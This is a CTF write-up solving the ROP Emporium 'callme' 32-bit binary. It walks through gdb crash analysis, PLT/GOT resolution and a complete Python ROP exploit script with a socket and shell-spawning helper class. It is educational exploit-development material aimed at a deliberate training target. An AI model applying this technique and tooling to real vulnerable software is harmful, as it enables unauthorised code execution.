
ROP ROP #3
Before you proceed any further, make sure you have all the requirements fulfilled.
- ASM knowledge
- Debugger familiarity
- GDB
- Basic ROP knowledge
- Brain
Setup
In this post, we will try to learn ROP (Return Oriented Programming) by using ropemporium ret2win 32bit binary. Lets setup our machine for debugging by installing PEDA and downloading the target binary.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
root@kali:~/Desktop# cd ~/ root@kali:~# git clone https://github.com/longld/peda Cloning into 'peda'... remote: Counting objects: 324, done. remote: Total 324 (delta 0), reused 0 (delta 0), pack-reused 324 Receiving objects: 100% (324/324), 243.64 KiB | 111.00 KiB/s, done. Resolving deltas: 100% (206/206), done. root@kali:~# echo "source ~/peda/peda.py" > .gdbinit root@kali:~# cd Desktop/ root@kali:~/Desktop# mkdir ropemporium root@kali:~/Desktop# cd ropemporium/ root@kali:~/Desktop/ropemporium# wget https://ropemporium.com/binary/callme32.zip --2017-09-08 03:40:38-- https://ropemporium.com/binary/callme32.zip Resolving ropemporium.com (ropemporium.com)... 54.192.27.156, 54.192.27.201, 54.192.27.68, ... Connecting to ropemporium.com (ropemporium.com)|54.192.27.156|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 6767 (6.6K) [application/octet-stream] Saving to: ‘callme32.zip’ callme32.zip 100%[===================>] 6.61K --.-KB/s in 0.003s 2017-09-08 03:40:40 (2.47 MB/s) - ‘callme32.zip’ saved [6767/6767] root@kali:~/Desktop/ropemporium# unzip callme32.zip -d callme32 Archive: callme32.zip inflating: callme32/callme32 extracting: callme32/encrypted_flag.txt extracting: callme32/key1.dat extracting: callme32/key2.dat inflating: callme32/libcallme32.so root@kali:~/Desktop/ropemporium# |
We have downloaded the binary and extracted it, time to start gdb.
Crash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
root@kali:~/Desktop/ropemporium/callme32# gdb -q callme32 Reading symbols from callme32...(no debugging symbols found)...done. gdb-peda$ info functions All defined functions: Non-debugging symbols: ....... 0x08048590 printf@plt 0x080485a0 fgets@plt 0x080485b0 callme_three@plt 0x080485c0 callme_one@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x08048610 memset@plt 0x08048620 callme_two@plt 0x0804873b main 0x080487b6 pwnme ........ gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ pattern create 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ run Continuing. callme by ROP Emporium 32bits Hope you read the instructions... > AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA |
We have found the offset at 44 which means that the EIP will hold the next 4bytes. We will use a custom boiler plate to ease our exploit development for this binary which can be found in the final exploit.
Control
Now we need to understand the concept of dependencies/libraries and how import symbol resolution works. I will try to explain it with gdb alone without going into theoreticals. Load the binary inside gdb and have a look
As of now, there is no symbol resolution performed by the dynamic linker because we haven’t started the binary. At this time, at callme_three@plt function entry there is an instruction which jumps directly to GOT address which as of now points back to the next instruction right after the jump. Now if we start the program, this changes because the linker resolved the address and updated the Global Offset Table entry which results in jumping to the updated address. Before that, lets have a look at the .PLT section
As we can see, the PLT section first pushes the resolved GLOBAL_OFFSET_TABLE address to stack. It says GLOBAL_OFFSET_TABLE because this is handled by the linker and the address is provided back, if it would’ve been a hardcoded address the program would crash just like the linker resolves printf@plt address from libc library. We will try to resolve the first instruction in the PLT section with gdb
The GOT address resolved to dynamic linker which is now used to resolve the symbols right after 0x804858c. Similarly, our callme_three@plt function address is resolved to libcallme32.so library and updated inside GOT. The binary, by default doesn’t uses any callme_ functions but contains references inside the PLT. We can use this info to make our payload and retrieve the flag. The challenge help page on ropemporium also says
You must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag. The solution here is simple enough, use your knowledge about what resides in the PLT to call the callme_ functions in the above order and with the correct arguments. Don’t get distracted by the incorrect calls to these functions made in the binary, they’re there to ensure these functions get linked. You can also ignore the .dat files and the encrypted flag in this challenge, they’re there to ensure the functions must be called in the correct order.
We have gathered all the information now, so lets not waste any time and make our payload.
Flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 |
import socket, time, struct, binascii import telnetlib class Target(): HEADER = '\033[95m' OKBLUE = '\033[94m' OKGREEN = '\033[92m' WARNING = '\033[93m' FAIL = '\033[91m' ENDC = '\033[0m' BOLD = '\033[1m' UNDERLINE = '\033[4m' def __init__(self, ip=None, port=None, length=0xFFFF): if not ip or not port: return print self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.connect((ip, port)) self.length = length self.rop = None self.receive = None self.log('Connected to target') self.line = False def send(self, payload=None): if not payload and self.rop: payload = self.rop if self.line: payload += '\n' self.line = False self.socket.send(payload) def sendline(self, payload=None): self.line = True self.send(payload) def recv(self, l=None): if not l: l = self.length time.sleep(2) self.receive = self.socket.recv(l) return self.receive def create_rop(self, offset, gadgets): p = 'A' * offset self.log('Creating ROP Chain','i') for gadget in gadgets: if isinstance(gadget, (int, long)) and hex(gadget).startswith('0x'): p += self.p(gadget) print ' ',hex(gadget) else: p += gadget print ' ',gadget self.rop = p return p def recv_until(self, string): buff = '' while True: x = self.socket.recv(1024) buff += x if x.strip() == string: return buff def log(self, a, t=None): '''''' if not t: t = self.OKBLUE + '+' elif t == 'i': t = self.HEADER + '*' elif t == 'w': t = self.WARNING + '!' elif t == 'f': t = self.FAIL + '!' t = self.OKGREEN + '[' + t + self.OKGREEN + ']' + self.ENDC print(t + ' %s' % (a)) def funcs(self, raw): raw = raw.strip().split('\n') t_dict = {} for f in raw: f = f.split() f_name = f[1].replace('@','_') f_addr = f[0] t_dict[f_name] = int(f_addr, 16) globals()[f_name] = int(f_addr,16) self.functions = t_dict return self.functions def p(self, addr): '''pack raw packets''' return struct.pack('<L', addr) def u(self, addr): '''unpack raw packets''' return struct.unpack('<L', addr)[0] def hexdump(self, data=None, bytez=0): info_msg = "\t\t------->Hex Dump<-------" if not data: data = self.recv() info_msg = 'Hex Dump for last receive\n' self.log(info_msg) ndata = binascii.hexlify(data) print "Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F\n" ndata = list(self.chunks(ndata[:320],32)) offset = bytez for each in ndata: x = ' '.join(each[i:i+2] for i in range(0, len(each), 2)) printspace = " "*(10-len(hex(offset))) print hex(offset) + printspace + x offset += 16 print return data def chunks(self, l, n): n = max(1, n) return (l[i:i+n] for i in xrange(0, len(l), n)) def interactive(self, tty=None): telnet = telnetlib.Telnet() telnet.sock = self.socket self.log('Switching to interactive session\n') if tty: telnet.write('python -c "import pty;pty.spawn(\'/bin/sh\')"\n') telnet.interact() def write_payload(self, file_name=None, payload=None): if not file_name: file_name = 'payload' self.log('Writing payload to file : ' + file_name) f = open(file_name, 'wb') f.write(payload) f.close() addresses = ''' 0x08048590 printf@plt 0x080485a0 fgets@plt 0x080485b0 callme_three@plt 0x080485c0 callme_one@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x08048610 memset@plt 0x08048620 callme_two@plt 0x0804873b main 0x080487b6 pwnme ''' # gadgets pop3ret = 0x80488a9 target = Target(None) target.funcs(addresses) target.create_rop(44, [ callme_one_plt, # first return to callme_one start pop3ret, # pop the next 1,2,3 values from stack and return to callme_two 0x1, 0x2, 0x3, callme_two_plt, # same as above pop3ret, 0x1, 0x2, 0x3, callme_three_plt, 'BBBB', # padding 0x1, 0x2, 0x3]) target.write_payload('callme_payload', target.rop) |